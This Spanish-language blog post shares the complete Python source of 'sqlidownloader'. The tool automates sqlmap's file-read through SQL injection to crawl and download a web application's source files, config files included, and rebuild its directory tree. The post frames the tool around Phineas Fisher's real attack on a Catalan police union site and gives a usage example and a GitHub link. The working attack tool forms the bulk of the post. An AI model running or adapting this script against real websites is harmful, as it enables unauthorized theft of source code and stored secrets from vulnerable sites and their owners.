Hacking Tools: sqlidownloader basado en el script en Perl file_reader.pl de PhineasFisher

Hola!

Seguramente has escuchado sobre los ataques al Sindicat de Mossos d’Esquadra, sino, en Google hay harta información:

https://www.google.cl/search?q=mossos+de+escuadra+hacked

Uno de los ataques fue "grabado" en un video y publicado por un hacker que se hace llamar "Phineas Fisher". El ataque se hizo a través del sitio del sindicato de los policías, era vulnerable a SQL Injection y tenía además varias fallas de programación, que permitieron al atacante descargar todo el código fuente y subir una web shell al servidor.

[mirrors] - Hacking Sindicat de Mossos d'Esquadra (Catalan Police Union) from TuKuLs on Vimeo.

En el video, Phineas Fisher muestra una herramienta escrita en Perl que automatiza la descarga de archivos usando SQLMAP, justamente eso es lo que quiero compartir en este post, pero desarrollado en Python.

Escribí el código porque la herramienta me servirá y porque siempre al desarrollar aparecen desafíos que nos hacen investigar y seguir aprendiendo.

Quienes estan familiarizados con SQLMAP sabrán que usando el parámetro --file-read="/var/www/index.php" podrían descargar el archivo fuente vía un SQLi, cuando son pocos archivos no hay problema, se puede ir actualizando el parámetro y descargarlos uno a uno, pero cuando es un sitio o aplicación web más grande será tedioso hacer ese trabajo.

Otro punto importante es que SQLMAP cuando descarga un archivo lo renombra a partir  del path y el nombre del archivo, por ejemplo, si descargamos /var/www/index.php, creará un archivo similar a "var_www_index.php", luego si descargamos /var/www/include/config.php creará "var_www_include_config.php", todos estos archivos en la misma carpeta, lo que hace más difícil la lectura y seguimiento del aplicativo.

Esta herramienta lo que busca es crear la misma estructura de directorios y renombrar los archivos con el mismo nombre que usa la aplicación web, pero todo esto, automáticamente.

Les dejo el código (que he escrito hasta ahora, seguro se puede mejorar) y el github por si alguno desea cooperar.

#! /usr/bin/python

import commands
import os
import re
import sys



sqlmap_arg = sys.argv[1]
dirw = sys.argv[2]
droot = sys.argv[3]
files = sys.argv[4].split()

def download_file(f): 
 status, ret = commands.getstatusoutput("sqlmap " + sqlmap_arg + " --file-read=" + f + " --batch")
 patron = re.compile("files saved to.*\n\[\*\] (.*) \(same.*")
 filed = patron.findall(ret)
 if len(filed) > 0: 
  p, a = os.path.split(f)
  p += "//"
  if len(p.replace(droot,"")) > 0:
   dest = "output/" + dirw + "/" + p.replace(droot,"") + a
  else:
   dest = "output/" + dirw + "/" + a
  os.rename(filed[0],dest)
  print("[+] Descargado el archivo " + f + "")
  return dest

#########################################################################################################
print("""
    SQLiDownloader - Automatic file downloader tool
    escrito por Victor Herrera
    www.zeroday.cl
""")
print("[*] Iniciando descarga")
  
if os.path.isdir("output"):
 print ("[+] Directorio output creado")
else:
 os.makedirs("output")
 print ("[+] Directorio output creado")

if os.path.isdir("output/" + dirw):
 print ("[+] Directorio " + dirw + " creado")
else:
 os.makedirs(dirw)
 print ("[+] Directorio " + dirw + " creado")

while (files):
 nf = download_file(files.pop())
 if nf:
  try:
   fo = open(nf,"r")
   fc = fo.read()
   fo.close()
  except IOError:
   fc = ""
   print ("[*] Error: no se puede abrir el archivo: " + nf)

  patron = re.compile("require.*['\"](.*?)[\"']|include.*['\"](.*?)[\"']|form.*action=['\"](.*?)[\"']|header\(\"[L,l]ocation:\s(.*?)[\"']")
  fs = patron.findall(fc)
  for j in fs:
   for i in j:
    if len(i) > 0:    
     files.append(droot + i)
     if len(os.path.split(i)[0]) > 0:
      try:
       os.makedirs("output/" + dirw + "/" + os.path.split(i)[0])
      except OSError:
       pass
     print("[-] Agregado " + droot + i + " a la cola...")  

print "[*] Descarga masiva finalizada en " + dirw

Modo de uso:


./sqlidownloader.py [SQLMAP URL and PARAMS] [output-folder] [web_document_root_path] [first_file_or_index_file]

Ejemplo

./sqlidownloader.py "-u http://192.168.0.222/sqliweb/noticias.php?id=2 --dbms=mysql -p id --technique=U" prueba "/var/www/sqliweb" "/var/www/sqliweb/noticias.php"


GitHub: https://github.com/inc0d3/sqlidownloader

Saludos




Comentarios

Publicar un comentario

Entradas populares de este blog

Stack Buffer Overflow: Hackeando la memoria en Linux x64

Ocultando la web shell como una imagen (Apache + PHP)